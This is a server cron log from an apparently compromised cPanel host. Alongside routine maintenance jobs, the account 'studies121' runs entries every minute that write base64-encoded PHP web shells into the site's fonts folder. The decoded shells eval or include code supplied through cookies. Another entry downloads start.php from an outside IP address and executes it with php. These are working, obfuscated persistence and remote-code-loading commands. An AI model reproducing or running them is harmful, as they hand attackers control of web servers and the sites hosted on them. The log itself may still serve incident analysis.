Sep  3 16:13:01 ip-184-168-122-23 CROND[31617]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:13:01 ip-184-168-122-23 CROND[31620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:14:01 ip-184-168-122-23 CROND[31699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:14:01 ip-184-168-122-23 CROND[31701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:14:01 ip-184-168-122-23 CROND[31702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:14:01 ip-184-168-122-23 CROND[31704]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 16:14:01 ip-184-168-122-23 CROND[31703]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:15:01 ip-184-168-122-23 CROND[31809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:15:01 ip-184-168-122-23 CROND[31810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:15:01 ip-184-168-122-23 CROND[31813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:15:01 ip-184-168-122-23 CROND[31814]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:15:01 ip-184-168-122-23 CROND[31816]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  3 16:15:01 ip-184-168-122-23 CROND[31818]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 16:15:01 ip-184-168-122-23 CROND[31819]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 16:16:01 ip-184-168-122-23 CROND[31906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:16:01 ip-184-168-122-23 CROND[31909]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 16:16:01 ip-184-168-122-23 CROND[31910]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:16:01 ip-184-168-122-23 CROND[31913]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 16:16:01 ip-184-168-122-23 CROND[31914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:16:01 ip-184-168-122-23 CROND[31915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:17:01 ip-184-168-122-23 CROND[32079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:17:01 ip-184-168-122-23 CROND[32082]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:17:01 ip-184-168-122-23 CROND[32083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:17:01 ip-184-168-122-23 CROND[32084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:18:01 ip-184-168-122-23 CROND[32161]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 16:18:01 ip-184-168-122-23 CROND[32163]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:18:01 ip-184-168-122-23 CROND[32164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:18:01 ip-184-168-122-23 CROND[32167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:18:01 ip-184-168-122-23 CROND[32166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:19:01 ip-184-168-122-23 CROND[32255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:19:01 ip-184-168-122-23 CROND[32256]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:19:01 ip-184-168-122-23 CROND[32257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:19:01 ip-184-168-122-23 CROND[32259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:20:01 ip-184-168-122-23 CROND[32343]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 16:20:01 ip-184-168-122-23 CROND[32346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:20:01 ip-184-168-122-23 CROND[32347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:20:01 ip-184-168-122-23 CROND[32349]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 16:20:01 ip-184-168-122-23 CROND[32350]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 16:20:01 ip-184-168-122-23 CROND[32352]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 16:20:01 ip-184-168-122-23 CROND[32354]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 16:20:01 ip-184-168-122-23 CROND[32356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:20:01 ip-184-168-122-23 CROND[32353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:21:01 ip-184-168-122-23 CROND[32449]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:21:01 ip-184-168-122-23 CROND[32450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:21:01 ip-184-168-122-23 CROND[32451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:21:01 ip-184-168-122-23 CROND[32453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:22:01 ip-184-168-122-23 CROND[32667]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 16:22:01 ip-184-168-122-23 CROND[32669]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:22:01 ip-184-168-122-23 CROND[32671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:22:01 ip-184-168-122-23 CROND[32672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:22:01 ip-184-168-122-23 CROND[32670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:23:01 ip-184-168-122-23 CROND[32757]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:23:01 ip-184-168-122-23 CROND[32760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:23:01 ip-184-168-122-23 CROND[32759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:23:01 ip-184-168-122-23 CROND[32758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:24:01 ip-184-168-122-23 CROND[388]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:24:01 ip-184-168-122-23 CROND[389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:24:01 ip-184-168-122-23 CROND[393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:24:01 ip-184-168-122-23 CROND[392]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 16:24:01 ip-184-168-122-23 CROND[394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:25:01 ip-184-168-122-23 CROND[480]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 16:25:01 ip-184-168-122-23 CROND[482]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 16:25:01 ip-184-168-122-23 CROND[487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:25:01 ip-184-168-122-23 CROND[485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:25:01 ip-184-168-122-23 CROND[486]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 16:25:01 ip-184-168-122-23 CROND[484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 16:25:01 ip-184-168-122-23 CROND[488]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
